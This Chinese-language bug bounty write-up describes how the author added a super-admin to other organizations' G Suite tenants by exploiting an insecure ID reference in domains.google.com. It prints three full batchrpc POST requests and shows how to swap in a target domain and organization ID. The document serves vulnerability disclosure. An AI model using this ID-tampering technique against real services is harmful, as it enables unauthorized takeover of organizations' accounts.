成为他人G Suite组织超级管理员并接管的方法
大家好!好久没在这里发帖了 :)
正如大多数人所知,我计划撰写多年来通过Microsoft Bug Bounty项目进行的研究。仍在思考最佳的撰写方式和报告选择。但在此期间,我将分享一些在Google项目中的研究成果。
Microsoft和Google是我多年来主要参与的两个项目,Google项目也产生了一些富有成果的研究 :)
因此,今天我将介绍如何将自己添加为他人G Suite账户的超级管理员。
POC验证
对于那些不了解的人,Gsuite是Google为组织和教育机构等提供的一套产品套件。它类似于微软的O365。在Gsuite中,组织的主要管理员是超级管理员。他们拥有对所有内容的超级管理员权限。他们可以创建组、管理用户、更改用户密码、管理一切。重要的是,一个组织中不应有太多超级管理员,因为超级管理员账户越多,账户被入侵的风险就越高。
但如果你能在任何人的Gsuite组织中创建超级管理员账户呢?
如果你能将自己添加到任何Gsuite组织并成为超级管理员呢?
这就是我们旅程的开始。
Google有一个名为domains.google.com的功能。它是由Google托管和运营的域名注册商。在上面有一个功能,可以让你创建Gsuite订阅,并可以在domains.google.com内进行管理。因此,通过domains.google.com创建Gsuite订阅后,就可以通过该平台进行管理。你可以管理用户、添加超级管理员、管理付款方式等。
我相信你现在应该知道这个问题的发展方向了 ;)
通过domains.google.com向你的gsuite组织添加用户时,会启动一个过程并运行多个请求。其工作方式是:通过domains.google.com将用户添加为管理员,发送添加用户的请求,domains.google.com付款门户打开,为你正在添加的新用户付款。如果你检查请求并放入正确的ID,这将允许你向任何gsuite组织添加任何管理员。
因此,在你的domains.google.com域名上向你的gsuite账户添加管理员时,会运行3个请求。
第一个请求是:
1
2
3
4
5
|
POST /batchrpc HTTP/1.1
Host: domains.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":72,\"2\":{},\"74\":{\"1\":\"5896212\",\"2\":\"testdomain4534.com\",\"3\":[{\"2\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2}}],\"4\":1}}}","xsrf":""}
|
第二个请求是:
1
2
3
4
5
|
POST /batchrpc HTTP/1.1
Host: domains.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":38,\"2\":{},\"40\":{\"1\":{\"1\":\"3703203\",\"3\":[{\"1\":6,\"7\":{\"1\":\"testdomain4534.com\",\"4\":2,\"6\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2},\"13\":\"5896212\"}}],\"5\":\"en-US\"},\"2\":\"USD\"}}}","xsrf":""}
|
第三个请求是:
1
2
3
4
5
|
POST /batchrpc HTTP/1.1
Host: domains.google.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":11,\"2\":{},\"13\":{\"1\":{\"1\":\"3703203\",\"3\":[{\"1\":6,\"7\":{\"1\":\"testdomain4534.com\",\"2\":{\"1\":\"USD\",\"2\":\"0\"},\"4\":2,\"6\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2},\"8\":{\"1\":\"USD\",\"2\":\"10000000\"},\"9\":{\"1\":{\"1\":\"USD\",\"2\":\"5000000\"},\"2\":{\"1\":\"USD\",\"2\":\"0\"},\"3\":0},\"13\":\"5896212\"},\"8\":{\"2\":{}}}],\"5\":\"en-US\"},\"2\":\"USD\",\"4\":1,\"9\":\"US\",\"10\":0}}}","xsrf":""}
|
如你所见,这3个请求正在将名为1337baby的用户添加到testdomain4534.com的gsuite组织中。
在POC中,我们正在向我没有访问权限的amazingpotato gsuite组织添加一个用户。
要做到这一点,需要两样东西。
首先,你需要gsuite组织的域名,即amazingpotato.org。
然后是你目标的gsuite组织的ID,在这种情况下是25879957。
为了做到这一点,只需获取上面链接的请求,首先将域名testdomain4534.com替换为amazingpotato.org作为你的域名。
用户ID部分可能比较棘手。基本上,在请求中,一个区域要么包含域名/gsuite所有者的用户ID,要么包含实际进行购买的用户ID。
1
|
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":72,\"2\":{},\"74\":{\"1\":\"5896212\",\"2\":\"testdomain4534.com\",\"3\":[{\"2\":{\"1\":\"testdomain4534.com\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2}}],\"4\":1}}}","xsrf":"ACJTu_66_XziDuNee2rpFECvfcBn_3mYWg:1526402883203"}
|
例如,在这个部分中,这个ID 5895212也可以替换为你目标的其他gsuite组织ID,因此请求将如下所示:
1
|
{"method":"serve","params":"{\"1\":{\"1\":\"https://domains.google.com/registrar#chp=z,d&z=e&d=5896212,testdomain4534.com\",\"2\":\"844732c1a4661b3dd830afeaa8eaedbf\"},\"3\":{\"1\":72,\"2\":{},\"74\":{\"1\":\"25879957\",\"2\":\"amazingpotato.org\",\"3\":[{\"2\":{\"1\":\"amazingpotato.org\",\"2\":\"1337.baby\",\"3\":\"1337\",\"4\":\"baby\",\"5\":2}}],\"4\":1}}}","xsrf":"ACJTu_66_XziDuNee2rpFECvfcBn_3mYWg:1526402883203"}
|
请记住,这只是第一个请求。
你需要替换所有3个请求才能使其工作。
因此,上面提到的另外2个请求(第二个和第三个请求),你还需要替换并为这些请求放入正确的信息。
放入正确的ID后,会弹出一个窗口,显示为amazingpotato.org购买此用户。
购买后,超级管理员将添加到他们的组织中,账户的密码将发送到你的电子邮件。